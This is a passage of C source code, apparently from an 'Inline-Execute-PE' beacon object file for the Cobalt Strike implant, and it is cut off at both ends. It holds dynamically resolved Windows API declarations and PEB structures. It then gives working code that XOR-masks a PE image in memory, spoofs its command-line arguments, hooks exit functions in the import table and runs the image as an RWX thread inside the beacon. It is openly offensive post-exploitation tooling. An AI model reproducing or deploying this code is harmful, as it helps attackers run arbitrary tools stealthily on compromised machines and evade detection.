_Stream); 25 | WINBASEAPI int __cdecl MSVCRT$setvbuf(FILE* _Stream, char* _Buffer, int _Mode, size_t _Size); 26 | WINBASEAPI int __cdecl MSVCRT$_close(int _FileHandle); 27 | WINBASEAPI int __cdecl MSVCRT$_flushall(void); 28 | WINBASEAPI int __cdecl MSVCRT$printf(const char* format); 29 | WINBASEAPI errno_t __cdecl MSVCRT$freopen_s (FILE** stream, const char* fileName, const char* mode, FILE* oldStream); 30 | WINBASEAPI FILE* __cdecl MSVCRT$__iob_func(); 31 | WINBASEAPI int __cdecl MSVCRT$fclose(FILE* stream); 32 | WINBASEAPI char* __cdecl MSVCRT$_itoa(int value, char* str, int base); 33 | WINBASEAPI int __cdecl MSVCRT$_atoi(const char* str); 34 | WINBASEAPI int __cdecl MSVCRT$sprintf_s(char* buffer, size_t sizeOfBuffer, const char* format, ...); 35 | WINBASEAPI unsigned long long __cdecl MSVCRT$_strtoull(const char* strSource, char** endptr, int base); 36 | WINBASEAPI __int64 __cdecl MSVCRT$_strtoi64(const char* strSource, char** endptr, int base); 37 | WINBASEAPI void __cdecl MSVCRT$_cexit(); 38 | WINBASEAPI int __cdecl MSVCRT$strcmp(const char* string1, const char* string2); 39 | WINBASEAPI int __cdecl MSVCRT$wcscmp(const wchar_t* string1, const wchar_t* string2); 40 | 41 | //K32 42 | WINBASEAPI int WINAPI KERNEL32$WideCharToMultiByte (UINT CodePage, DWORD dwFlags, LPCWCH lpWideCharStr, int cchWideChar, LPSTR lpMultiByteStr, int cbMultiByte, LPCCH lpDefaultChar, LPBOOL lpUsedDefaultChar); 43 | WINBASEAPI int WINAPI KERNEL32$MultiByteToWideChar ( UINT CodePage, DWORD dwFlags, LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar); 44 | WINBASEAPI DECLSPEC_NORETURN VOID WINAPI KERNEL32$ExitThread (DWORD dwExitCode); 45 | WINBASEAPI HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL hMem); 46 | WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA (LPCSTR lpLibFileName); 47 | WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress (HMODULE hModule, LPCSTR lpProcName); 48 | WINBASEAPI void * WINAPI KERNEL32$VirtualAlloc (LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 49 | WINBASEAPI int WINAPI KERNEL32$VirtualFree (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); 50 | WINBASEAPI BOOL WINAPI KERNEL32$CreatePipe(PHANDLE hReadPipe, PHANDLE hWritePipe, LPSECURITY_ATTRIBUTES lpPipeAttributes, DWORD nSize); 51 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateThread (LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); 52 | WINBASEAPI DWORD WINAPI KERNEL32$WaitForSingleObject (HANDLE hHandle, DWORD dwMilliseconds); 53 | WINBASEAPI BOOL WINAPI KERNEL32$PeekNamedPipe(HANDLE hNamedPipe, LPVOID lpBuffer, DWORD nBufferSize, LPDWORD lpBytesRead, LPDWORD lpTotalBytesAvail, LPDWORD lpBytesLeftThisMessage); 54 | WINBASEAPI WINBOOL WINAPI KERNEL32$ReadFile (HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped); 55 | WINBASEAPI DWORD WINAPI KERNEL32$GetLastError (VOID); 56 | WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject); 57 | WINBASEAPI HWND WINAPI KERNEL32$GetConsoleWindow(void); 58 | WINBASEAPI BOOL WINAPI KERNEL32$AllocConsole(void); 59 | WINBASEAPI BOOL WINAPI KERNEL32$FreeConsole(void); 60 | WINBASEAPI HANDLE WINAPI KERNEL32$GetStdHandle(DWORD nStdHandle); 61 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplatefile); 62 | WINBASEAPI BOOL WINAPI KERNEL32$SetStdHandle(DWORD nStdHandle, HANDLE hHandle); 63 | WINBASEAPI void WINAPI KERNEL32$SetLastError(DWORD dwErrCode); 64 | WINBASEAPI BOOL WINAPI KERNEL32$FreeConsole(void); 65 | WINBASEAPI void WINAPI KERNEL32$Sleep(DWORD dwMilliseconds); 66 | WINBASEAPI DWORD WINAPI KERNEL32$GetProcessId(HANDLE Process); 67 | WINBASEAPI HWND WINAPI KERNEL32$GetConsoleWindow(void); 68 | WINBASEAPI HLOCAL WINAPI KERNEL32$LocalAlloc(UINT uFlags, SIZE_T uBytes); 69 | WINBASEAPI DWORD WINAPI KERNEL32$GetCurrentProcessId(); 70 | WINBASEAPI DWORD WINAPI KERNEL32$ProcessIdToSessionId(DWORD dwProcessID, DWORD* pSessionId); 71 | WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID); 72 | WINBASEAPI BOOL WINAPI KERNEL32$Process32First(HANDLE hSnapshot, LPPROCESSENTRY32 lppe); 73 | WINBASEAPI BOOL WINAPI KERNEL32$Process32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe); 74 | WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); 75 | WINBASEAPI BOOL WINAPI KERNEL32$TerminateProcess(HANDLE hProcess, UINT uExitcode); 76 | WINBASEAPI DWORD WINAPI KERNEL32$GetProcessHeaps(DWORD NumberOfHeaps, PHANDLE ProcessHeaps); 77 | WINBASEAPI BOOL WINAPI KERNEL32$QueryPerformanceCounter(LARGE_INTEGER *lpPerformanceCount); 78 | WINBASEAPI BOOL WINAPI KERNEL32$QueryPerformanceFrequency(LARGE_INTEGER *lpFrequency); 79 | WINBASEAPI BOOL WINAPI KERNEL32$TerminateThread(HANDLE hthread, DWORD dwExitCode); 80 | WINBASEAPI BOOL WINAPI KERNEL32$FreeLibrary(HANDLE hLibModule); 81 | WINBASEAPI BOOL WINAPI KERNEL32$VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpfOldProtect); 82 | WINBASEAPI DWORD WINAPI KERNEL32$QueueUserAPC(PAPCFUNC pfnAPC, HANDLE hThread, ULONG_PTR dwData); 83 | WINBASEAPI DWORD WINAPI KERNEL32$SuspendThread(HANDLE hThread); 84 | WINBASEAPI BOOL WINAPI KERNEL32$SetThreadContext(HANDLE hThread, CONTEXT *lpContext); 85 | WINBASEAPI BOOL WINAPI KERNEL32$GetThreadContext(HANDLE hThread, LPCONTEXT lpContext); 86 | WINBASEAPI DWORD WINAPI KERNEL32$ResumeThread(HANDLE hThread); 87 | WINBASEAPI DWORD WINAPI KERNEL32$GetThreadId(HANDLE hThread); 88 | WINBASEAPI HANDLE WINAPI KERNEL32$OpenThread(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwThreadId); 89 | WINBASEAPI DWORD WINAPI KERNEL32$GetModuleFileNameA(HANDLE hModule, LPSTR lpFilename, DWORD nSize); 90 | 91 | //PSAPI 92 | WINBASEAPI BOOL WINAPI PSAPI$EnumProcessModules(HANDLE HProcess, HMODULE *lphModule, DWORD cb, LPDWORD lpcbNeeded); 93 | 94 | //USER32 95 | WINBASEAPI BOOL WINAPI USER32$ShowWindow(HWND hWnd, int nCmdShow); 96 | WINBASEAPI int WINAPI USER32$MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType); 97 | 98 | //SHELL32 99 | WINBASEAPI LPWSTR* WINAPI SHELL32$CommandLineToArgvW(LPCWSTR lpCMdLine, int* pNumArgs); 100 | 101 | //NTDLL 102 | WINBASEAPI NTSTATUS NTAPI NTDLL$NtQueryInformationProcess(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG); 103 | 104 | //MSVCRT 105 | #define malloc MSVCRT$malloc 106 | #define free MSVCRT$free 107 | #define strlen MSVCRT$strlen 108 | #define memcpy MSVCRT$memcpy 109 | #define calloc MSVCRT$calloc 110 | #define memset MSVCRT$memset 111 | #define wcslen MSVCRT$wcslen 112 | #define _stricmp MSVCRT$_stricmp 113 | #define _dup MSVCRT$_dup 114 | #define _dup2 MSVCRT$_dup2 115 | #define _open_osfhandle MSVCRT$_open_osfhandle 116 | #define _fileno MSVCRT$_fileno 117 | #define setvbuf MSVCRT$setvbuf 118 | #define _close MSVCRT$_close 119 | #define _flushall MSVCRT$_flushall 120 | #define printf MSVCRT$printf 121 | #define freopen_s MSVCRT$freopen_s 122 | #define __iob_func MSVCRT$__iob_func 123 | #define fclose MSVCRT$fclose 124 | #define _itoa MSVCRT$_itoa 125 | #define _atoi MSVCRT$_atoi 126 | #define sprintf_s MSVCRT$sprintf_s 127 | #define _strtoull MSVCRT$_strtoull 128 | #define _strtoi64 MSVCRT$_strtoi64 129 | #define _cexit MSVCRT$_cexit 130 | #define strcmp MSVCRT$strcmp 131 | #define wcscmp MSVCRT$wcscmp 132 | #define sscanf MSVCRT$sscanf 133 | 134 | 135 | //K32 136 | #define ReadProcessMemory KERNEL32$ReadProcessMemory 137 | #define GetCurrentProcess KERNEL32$GetCurrentProcess 138 | #define WideCharToMultiByte KERNEL32$WideCharToMultiByte 139 | #define MultiByteToWideChar KERNEL32$MultiByteToWideChar 140 | #define ExitThread KERNEL32$ExitThread 141 | #define LocalFree KERNEL32$LocalFree 142 | #define LoadLibraryA KERNEL32$LoadLibraryA 143 | #define GetProcAddress KERNEL32$GetProcAddress 144 | #define VirtualAlloc KERNEL32$VirtualAlloc 145 | #define VirtualFree KERNEL32$VirtualFree 146 | #define CreatePipe KERNEL32$CreatePipe 147 | #define CreateThread KERNEL32$CreateThread 148 | #define WaitForSingleObject KERNEL32$WaitForSingleObject 149 | #define PeekNamedPipe KERNEL32$PeekNamedPipe 150 | #define ReadFile KERNEL32$ReadFile 151 | #define GetLastError KERNEL32$GetLastError 152 | #define CloseHandle KERNEL32$CloseHandle 153 | #define GetConsoleWindow KERNEL32$GetConsoleWindow 154 | #define AllocConsole KERNEL32$AllocConsole 155 | #define FreeConsole KERNEL32$FreeConsole 156 | #define GetStdHandle KERNEL32$GetStdHandle 157 | #define SetStdHandle KERNEL32$SetStdHandle 158 | #define CreateFileA KERNEL32$CreateFileA 159 | #define SetLastError KERNEL32$SetLastError 160 | #define FreeConsole KERNEL32$FreeConsole 161 | #define Sleep KERNEL32$Sleep 162 | #define GetProcessId KERNEL32$GetProcessId 163 | #define GetConsoleWindow KERNEL32$GetConsoleWindow 164 | #define LocalAlloc KERNEL32$LocalAlloc 165 | #define GetCurrentProcessId KERNEL32$GetCurrentProcessId 166 | #define ProcessIdToSessionId KERNEL32$ProcessIdToSessionId 167 | #define CreateToolhelp32Snapshot KERNEL32$CreateToolhelp32Snapshot 168 | #define Process32First KERNEL32$Process32First 169 | #define Process32Next KERNEL32$Process32Next 170 | #define OpenProcess KERNEL32$OpenProcess 171 | #define TerminateProcess KERNEL32$TerminateProcess 172 | #define GetProcessHeaps KERNEL32$GetProcessHeaps 173 | #define QueryPerformanceCounter KERNEL32$QueryPerformanceCounter 174 | #define QueryPerformanceFrequency KERNEL32$QueryPerformanceFrequency 175 | #define TerminateThread KERNEL32$TerminateThread 176 | #define FreeLibrary KERNEL32$FreeLibrary 177 | #define VirtualProtect KERNEL32$VirtualProtect 178 | #define SuspendThread KERNEL32$SuspendThread 179 | #define GetThreadContext KERNEL32$GetThreadContext 180 | #define SetThreadContext KERNEL32$SetThreadContext 181 | #define ResumeThread KERNEL32$ResumeThread 182 | #define GetThreadId KERNEL32$GetThreadId 183 | #define OpenThread KERNEL32$OpenThread 184 | #define GetModuleFileNameA KERNEL32$GetModuleFileNameA 185 | 186 | //PSAPI 187 | #define EnumProcessModules PSAPI$EnumProcessModules 188 | 189 | //USER32 190 | #define ShowWindow USER32$ShowWindow 191 | #define MessageBoxA USER32$MessageBoxA 192 | 193 | //SHELL32 194 | #define CommandLineToArgvW SHELL32$CommandLineToArgvW 195 | 196 | //NTDLL 197 | #define NtQueryInformationProcess NTDLL$NtQueryInformationProcess 198 | 199 | //Structures invovled in parsing PEB 200 | 201 | #define RTL_MAX_DRIVE_LETTERS 32 202 | 203 | typedef UNICODE_STRING* PUNICODE_STRING; 204 | 205 | typedef struct _RTL_DRIVE_LETTER_CURDIR { 206 | USHORT Flags; 207 | USHORT Length; 208 | ULONG TimeStamp; 209 | UNICODE_STRING DosPath; 210 | } RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR; 211 | 212 | 213 | typedef struct _CURDIR 214 | { 215 | UNICODE_STRING DosPath; 216 | HANDLE Handle; 217 | } CURDIR, * PCURDIR; 218 | 219 | typedef struct _uRTL_USER_PROCESS_PARAMETERS 220 | { 221 | ULONG MaximumLength; 222 | ULONG Length; 223 | 224 | ULONG Flags; 225 | ULONG DebugFlags; 226 | 227 | HANDLE ConsoleHandle; 228 | ULONG ConsoleFlags; 229 | HANDLE StandardInput; 230 | HANDLE StandardOutput; 231 | HANDLE StandardError; 232 | 233 | CURDIR CurrentDirectory; 234 | UNICODE_STRING DllPath; 235 | UNICODE_STRING ImagePathName; 236 | UNICODE_STRING CommandLine; 237 | PVOID Environment; 238 | 239 | ULONG StartingX; 240 | ULONG StartingY; 241 | ULONG CountX; 242 | ULONG CountY; 243 | ULONG CountCharsX; 244 | ULONG CountCharsY; 245 | ULONG FillAttribute; 246 | 247 | ULONG WindowFlags; 248 | ULONG ShowWindowFlags; 249 | UNICODE_STRING WindowTitle; 250 | UNICODE_STRING DesktopInfo; 251 | UNICODE_STRING ShellInfo; 252 | UNICODE_STRING RuntimeData; 253 | RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; 254 | 255 | ULONG EnvironmentSize; 256 | ULONG EnvironmentVersion; 257 | PVOID PackageDependencyData; //8+ 258 | ULONG ProcessGroupId; 259 | // ULONG LoaderThreads; 260 | } uRTL_USER_PROCESS_PARAMETERS, * uPRTL_USER_PROCESS_PARAMETERS; 261 | 262 | struct MemAddrs { 263 | BYTE* pImageBase; 264 | BYTE* pBackupImage; 265 | DWORD AddressOfEntryPoint; 266 | DWORD SizeOfImage; 267 | FILE* fout; 268 | FILE* ferr; 269 | HANDLE hreadout; 270 | HANDLE hwriteout; 271 | int fo; 272 | DWORD dwNumModules; 273 | BOOL bCloseFHandles; 274 | }; -------------------------------------------------------------------------------- /Inline-Execute-PE/perun.c: -------------------------------------------------------------------------------- 1 | #include "bofdefs.h" 2 | #include "beacon.h" 3 | 4 | #pragma warning (disable: 4996) 5 | #define _CRT_SECURE_NO_WARNINGS 6 | #define BUFFER_SIZE 8192 7 | #define _WAIT_TIMEOUT 5000 8 | 9 | //cmdline args vars 10 | BOOL hijackCmdline = FALSE; 11 | char *sz_masqCmd_Ansi = NULL; 12 | char *sz_masqCmd_ArgvAnsi[100]; 13 | wchar_t *sz_masqCmd_Widh = NULL; 14 | wchar_t *sz_masqCmd_ArgvWidh[100]; 15 | wchar_t** poi_masqArgvW = NULL; 16 | char** poi_masqArgvA = NULL; 17 | int int_masqCmd_Argc = 0; 18 | struct MemAddrs *pMemAddrs = NULL; 19 | DWORD dwTimeout = 0; 20 | 21 | //PE vars 22 | BYTE* pImageBase = NULL; 23 | IMAGE_NT_HEADERS* ntHeader = NULL; 24 | 25 | //-------------All of these functions are custom-defined versions of functions we hook in the PE's IAT------------- 26 | 27 | LPWSTR hookGetCommandLineW() 28 | { 29 | //BeaconPrintf(CALLBACK_OUTPUT, "called: getcommandlinew"); 30 | return sz_masqCmd_Widh; 31 | } 32 | 33 | LPSTR hookGetCommandLineA() 34 | { 35 | //BeaconPrintf(CALLBACK_OUTPUT, "called: getcommandlinea"); 36 | return sz_masqCmd_Ansi; 37 | } 38 | 39 | char*** __cdecl hook__p___argv(void) 40 | { 41 | //BeaconPrintf(CALLBACK_OUTPUT, "called: __p___argv"); 42 | return &poi_masqArgvA; 43 | } 44 | 45 | wchar_t*** __cdecl hook__p___wargv(void) 46 | { 47 | 48 | //BeaconPrintf(CALLBACK_OUTPUT, "called: __p___wargv"); 49 | return &poi_masqArgvW; 50 | } 51 | 52 | int* __cdecl hook__p___argc(void) 53 | { 54 | //BeaconPrintf(CALLBACK_OUTPUT, "called: __p___argc"); 55 | return &int_masqCmd_Argc; 56 | } 57 | 58 | int hook__wgetmainargs(int* _Argc, wchar_t*** _Argv, wchar_t*** _Env, int _useless_, void* _useless) 59 | { 60 | //BeaconPrintf(CALLBACK_OUTPUT, "called __wgetmainargs"); 61 | *_Argc = int_masqCmd_Argc; 62 | *_Argv = poi_masqArgvW; 63 | 64 | return 0; 65 | } 66 | 67 | int hook__getmainargs(int* _Argc, char*** _Argv, char*** _Env, int _useless_, void* _useless) 68 | { 69 | //BeaconPrintf(CALLBACK_OUTPUT, "called __getmainargs"); 70 | *_Argc = int_masqCmd_Argc; 71 | *_Argv = poi_masqArgvA; 72 | 73 | return 0; 74 | } 75 | 76 | _onexit_t __cdecl hook_onexit(_onexit_t function) 77 | { 78 | //BeaconPrintf(CALLBACK_OUTPUT, "called onexit!\n"); 79 | return 0; 80 | } 81 | 82 | int __cdecl hookatexit(void(__cdecl* func)(void)) 83 | { 84 | //BeaconPrintf(CALLBACK_OUTPUT, "called atexit!\n"); 85 | return 0; 86 | } 87 | 88 | int __cdecl hookexit(int status) 89 | { 90 | //BeaconPrintf(CALLBACK_OUTPUT, "Exit called!\n"); 91 | //_cexit() causes cmd.exe to break for reasons unknown... 92 | ExitThread(0); 93 | return 0; 94 | } 95 | 96 | void __stdcall hookExitProcess(UINT statuscode) 97 | { 98 | //BeaconPrintf(CALLBACK_OUTPUT, "ExitProcess called!\n"); 99 | ExitThread(0); 100 | } 101 | 102 | //-----Have to redefine __acrt_iob_func and stdin/stdout/stderr due to CS inability to resolve __acrt_iob_func----- 103 | 104 | FILE *__cdecl __acrt_iob_funcs(unsigned index) 105 | { 106 | return &(__iob_func()[index]); 107 | } 108 | 109 | #define stdin (__acrt_iob_funcs(0)) 110 | #define stdout (__acrt_iob_funcs(1)) 111 | #define stderr (__acrt_iob_funcs(2)) 112 | 113 | 114 | //This function handles transforming the basic Ansi cmdline string from CS into all of the different formats that might be required by a PE 115 | void masqueradeCmdline() 116 | { 117 | //Convert cmdline to widestring 118 | int required_size = MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, NULL, 0); 119 | sz_masqCmd_Widh = calloc(required_size + 1, sizeof(wchar_t)); 120 | MultiByteToWideChar(CP_UTF8, 0, sz_masqCmd_Ansi, -1, sz_masqCmd_Widh, required_size); 121 | 122 | //Create widestring array of pointers 123 | poi_masqArgvW = CommandLineToArgvW(sz_masqCmd_Widh, &int_masqCmd_Argc); 124 | 125 | //Manual function equivalent for CommandLineToArgvA 126 | int retval; 127 | int memsize = int_masqCmd_Argc * sizeof(LPSTR); 128 | for (int i = 0; i < int_masqCmd_Argc; ++ i) 129 | { 130 | retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, NULL, 0, NULL, NULL); 131 | memsize += retval; 132 | } 133 | 134 | poi_masqArgvA = (LPSTR*)LocalAlloc(LMEM_FIXED, memsize); 135 | 136 | int bufLen = memsize - int_masqCmd_Argc * sizeof(LPSTR); 137 | LPSTR buffer = ((LPSTR)poi_masqArgvA) + int_masqCmd_Argc * sizeof(LPSTR); 138 | for (int i = 0; i < int_masqCmd_Argc; ++ i) 139 | { 140 | retval = WideCharToMultiByte(CP_UTF8, 0, poi_masqArgvW[i], -1, buffer, bufLen, NULL, NULL); 141 | poi_masqArgvA[i] = buffer; 142 | buffer += retval; 143 | bufLen -= retval; 144 | } 145 | 146 | hijackCmdline = TRUE; 147 | } 148 | 149 | 150 | //-------These next two functions necessary to zero-out/free the char*/wchar_t* arrays holding cmdline args-------- 151 | 152 | //This array is created manually since CommandLineToArgvA doesn't exist, so manually freeing each item in array 153 | void freeargvA(char** array, int Argc) 154 | { 155 | //Wipe cmdline args from beacon memory 156 | for (int i = 0; i < Argc; i++) 157 | { 158 | memset(array[i], 0, strlen(array[i])); 159 | } 160 | LocalFree(array); 161 | } 162 | 163 | //This array is returned from CommandLineToArgvW so using LocalFree as per MSDN 164 | void freeargvW(wchar_t** array, int Argc) 165 | { 166 | //Wipe cmdline args from beacon memory 167 | for (int i = 0; i < Argc; i++) 168 | { 169 | memset(array[i], 0, wcslen(array[i]) * 2); 170 | } 171 | LocalFree(array); 172 | } 173 | 174 | //This function XOR's/un-XOR's PE in memory 175 | void xorPE(char* pImageBase, DWORD sizeofimage, char* key) 176 | { 177 | //Copy key into char array for easier use in XOR function 178 | char temp[100] = {0}; 179 | memcpy(temp, key, strlen(key)); 180 | 181 | DWORD a = 0; 182 | 183 | while (a < sizeofimage) { 184 | //If byte isn't null, we xor it 185 | if(*(pImageBase + a) != 0x00) //if((*(pImageBase + a) != 0x00 ) && (*(pImageBase + a) ^ temp[a % strlen(temp)] != 0x00)) 186 | { 187 | //XOR byte using key 188 | *(pImageBase + a) ^= temp[a % strlen(temp)]; 189 | 190 | //If resulting byte is a null byte, we xor back to original 191 | if(*(pImageBase + a) == 0x00) 192 | { 193 | *(pImageBase + a) ^= temp[a % strlen(temp)]; 194 | } 195 | } 196 | a++; 197 | } 198 | memset(temp, 0, strlen(key)); 199 | return; 200 | } 201 | 202 | 203 | //-------------------------These functions related to parsing PE and fixing the IAT of PE ------------------------- 204 | 205 | BYTE* getNtHdrs(BYTE* pe_buffer) 206 | { 207 | if (pe_buffer == NULL) return NULL; 208 | 209 | IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)pe_buffer; 210 | if (idh->e_magic != IMAGE_DOS_SIGNATURE) { 211 | return NULL; 212 | } 213 | const LONG kMaxOffset = 1024; 214 | LONG pe_offset = idh->e_lfanew; 215 | if (pe_offset > kMaxOffset) return NULL; 216 | IMAGE_NT_HEADERS32* inh = (IMAGE_NT_HEADERS32*)((BYTE*)pe_buffer + pe_offset); 217 | if (inh->Signature != IMAGE_NT_SIGNATURE) return NULL; 218 | return (BYTE*)inh; 219 | } 220 | 221 | IMAGE_DATA_DIRECTORY* getPeDir(PVOID pe_buffer, size_t dir_id) 222 | { 223 | if (dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES) return NULL; 224 | 225 | BYTE* nt_headers = getNtHdrs((BYTE*)pe_buffer); 226 | if (nt_headers == NULL) return NULL; 227 | 228 | IMAGE_DATA_DIRECTORY* peDir = NULL; 229 | 230 | IMAGE_NT_HEADERS* nt_header = (IMAGE_NT_HEADERS*)nt_headers; 231 | peDir = &(nt_header->OptionalHeader.DataDirectory[dir_id]); 232 | 233 | if (peDir->VirtualAddress == NULL) { 234 | return NULL; 235 | } 236 | return peDir; 237 | } 238 | 239 | //Fix IAT in manually mapped PE. This is where we hook certain API's and redirect calls to them to our above defined functions. 240 | BOOL fixIAT(PVOID modulePtr) 241 | { 242 | IMAGE_DATA_DIRECTORY* importsDir = getPeDir(modulePtr, IMAGE_DIRECTORY_ENTRY_IMPORT); 243 | if (importsDir == NULL) return FALSE; 244 | 245 | size_t maxSize = importsDir->Size; 246 | size_t impAddr = importsDir->VirtualAddress; 247 | 248 | IMAGE_IMPORT_DESCRIPTOR* lib_desc = NULL; 249 | size_t parsedSize = 0; 250 | 251 | for (; parsedSize < maxSize; parsedSize += sizeof(IMAGE_IMPORT_DESCRIPTOR)) { 252 | lib_desc = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize + (ULONG_PTR)modulePtr); 253 | 254 | if (lib_desc->OriginalFirstThunk == NULL && lib_desc->FirstThunk == NULL) break; 255 | LPSTR lib_name = (LPSTR)((ULONGLONG)modulePtr + lib_desc->Name); 256 | //This BeaconPrintf will list every DLL imported by PE (but not those loaded by other DLL's...) 257 | //BeaconPrintf(CALLBACK_OUTPUT, " [+] Import DLL: %s\n", lib_name); 258 | 259 | size_t call_via = lib_desc->FirstThunk; 260 | size_t thunk_addr = lib_desc->OriginalFirstThunk; 261 | if (thunk_addr == NULL) thunk_addr = lib_desc->FirstThunk; 262 | 263 | size_t offsetField = 0; 264 | size_t offsetThunk = 0; 265 | while (TRUE) 266 | { 267 | IMAGE_THUNK_DATA* fieldThunk = (IMAGE_THUNK_DATA*)((size_t)(modulePtr) + offsetField + call_via); 268 | IMAGE_THUNK_DATA* orginThunk = (IMAGE_THUNK_DATA*)((size_t)(modulePtr) + offsetThunk + thunk_addr); 269 | 270 | if (orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32 || orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) // check if using ordinal (both x86 && x64) 271 | { 272 | size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), (char*)(orginThunk->u1.Ordinal & 0xFFFF)); 273 | fieldThunk->u1.Function = addr; 274 | //This BeaconPrintf will list api's imported by ordinal 275 | //BeaconPrintf(CALLBACK_OUTPUT, " [V] API %x at %x\n", orginThunk->u1.Ordinal, addr); 276 | } 277 | 278 | if (fieldThunk->u1.Function == NULL) 279 | break; 280 | 281 | if(fieldThunk->u1.Function == orginThunk->u1.Function) 282 | { 283 | PIMAGE_IMPORT_BY_NAME by_name = (PIMAGE_IMPORT_BY_NAME)((size_t)(modulePtr) + orginThunk->u1.AddressOfData); 284 | LPSTR func_name = (LPSTR)by_name->Name; 285 | 286 | size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), func_name); 287 | //This BeaconPrintf will list api's imported by name 288 | //BeaconPrintf(CALLBACK_OUTPUT, " [V] API %s at %x\n", func_name, addr); 289 | 290 | //We have to hook several functions in order to run our PE. 291 | //GetCommandLineA, GetCommandLineW, __getmainargs, __wgetmainargs, __p___argv, __p___wargv, __p___argc all relate to providing cmdline args to PE 292 | //exit, _Exit, _exit, quick_exit, and ExitProcess must be hooked so that when they are called we don't exit our beacon... 293 | 294 | if (hijackCmdline && _stricmp(func_name, "GetCommandLineA") == 0) 295 | { 296 | fieldThunk->u1.Function = (size_t)hookGetCommandLineA; 297 | //BeaconPrintf(CALLBACK_OUTPUT, "Hooked: %s\n", func_name); 298 | } 299 | else if (hijackCmdline && _stricmp(func_name, "GetCommandLineW") == 0) 300 | { 301 | fieldThunk->u1.Function = (size_t)hookGetCommandLineW; 302 | //BeaconPrintf(CALLBACK_OUTPUT, "Hooked: %s\n", func_name); 303 | } 304 | else if (hijackCmdline && _stricmp(func_name, "__wgetmainargs") == 0) 305 | { 306 | fieldThunk->u1.Function = (size_t)hook__wgetmainargs; 307 | //BeaconPrintf(CALLBACK_OUTPUT, "Hooked: %s\n", func_name); 308 | } 309 | else if (hijackCmdline && _stricmp(func_name, "__getmainargs") == 0) 310 | { 311 | fieldThunk->u1.Function = (size_t)hook__getmainargs; 312 | //BeaconPrintf(CALLBACK_OUTPUT, "Hooked: %s\n", func_name); 313 | } 314 | else if (hijackCmdline && _stricmp(func_name, "__p___argv") == 0) 315 | { 316 | fieldThunk->u1.Function = (size_t)hook__p___argv; 317 | //BeaconPrintf(CALLBACK_OUTPUT, "Hooked: %s\n", func_name); 318 | } 319 | else if (hijackCmdline && _stricmp(func_name, "__p___wargv") == 0) 320 | { 321 | fieldThunk->u1.Function = (size_t)hook__p___wargv; 322 | //BeaconPrintf(CALLBACK_OUTPUT, "Hooked: %s\n", func_name); 323 | } 324 | else if (hijackCmdline && _stricmp(func_name, "__p___argc") == 0) 325 | { 326 | fieldThunk->u1.Function = (size_t)hook__p___argc; 327 | //BeaconPrintf(CALLBACK_OUTPUT, "Hooked: %s\n", func_name); 328 | } 329 | else if (hijackCmdline && (_stricmp(func_name, "exit") == 0 || _stricmp(func_name, "_Exit") == 0 || _stricmp(func_name, "_exit") == 0 || _stricmp(func_name, "quick_exit") == 0)) 330 | { 331 | fieldThunk->u1.Function = (size_t)hookexit; 332 | //BeaconPrintf(CALLBACK_OUTPUT, "Hooked: %s\n", func_name); 333 | } 334 | else if (hijackCmdline && _stricmp(func_name, "ExitProcess") == 0) 335 | { 336 | fieldThunk->u1.Function = (size_t)hookExitProcess; 337 | //BeaconPrintf(CALLBACK_OUTPUT, "Hooked: %s\n", func_name); 338 | } 339 | else 340 | fieldThunk->u1.Function = addr; 341 | 342 | } 343 | offsetField += sizeof(IMAGE_THUNK_DATA); 344 | offsetThunk += sizeof(IMAGE_THUNK_DATA); 345 | } 346 | } 347 | return TRUE; 348 | } 349 | 350 | BOOL peRun(char* key) 351 | { 352 | 353 | //Decrypt PE in memory 354 | xorPE(pMemAddrs->pImageBase, pMemAddrs->SizeOfImage, key); 355 | 356 | //format and/or hook commandline args 357 | masqueradeCmdline(); 358 | 359 | //Remap API's 360 | fixIAT((VOID*)pMemAddrs->pImageBase); 361 | 362 | //Make PE executable. Note that RWX seems to be necessary here, using RX caused crashes. Maybe to do with parsing cmdline args? 363 | DWORD dwOldProtect; 364 | VirtualProtect(pMemAddrs->pImageBase, pMemAddrs->SizeOfImage, PAGE_EXECUTE_READWRITE, &dwOldProtect); 365 | 366 | //Get timestamp immediately before running PE for comparison later 367 | LARGE_INTEGER frequency, before, after; 368 | QueryPerformanceFrequency(&frequency); 369 | QueryPerformanceCounter(&before); 370 | 371 | //Run PE 372 | HANDLE hThread = CreateThread(0, 0, 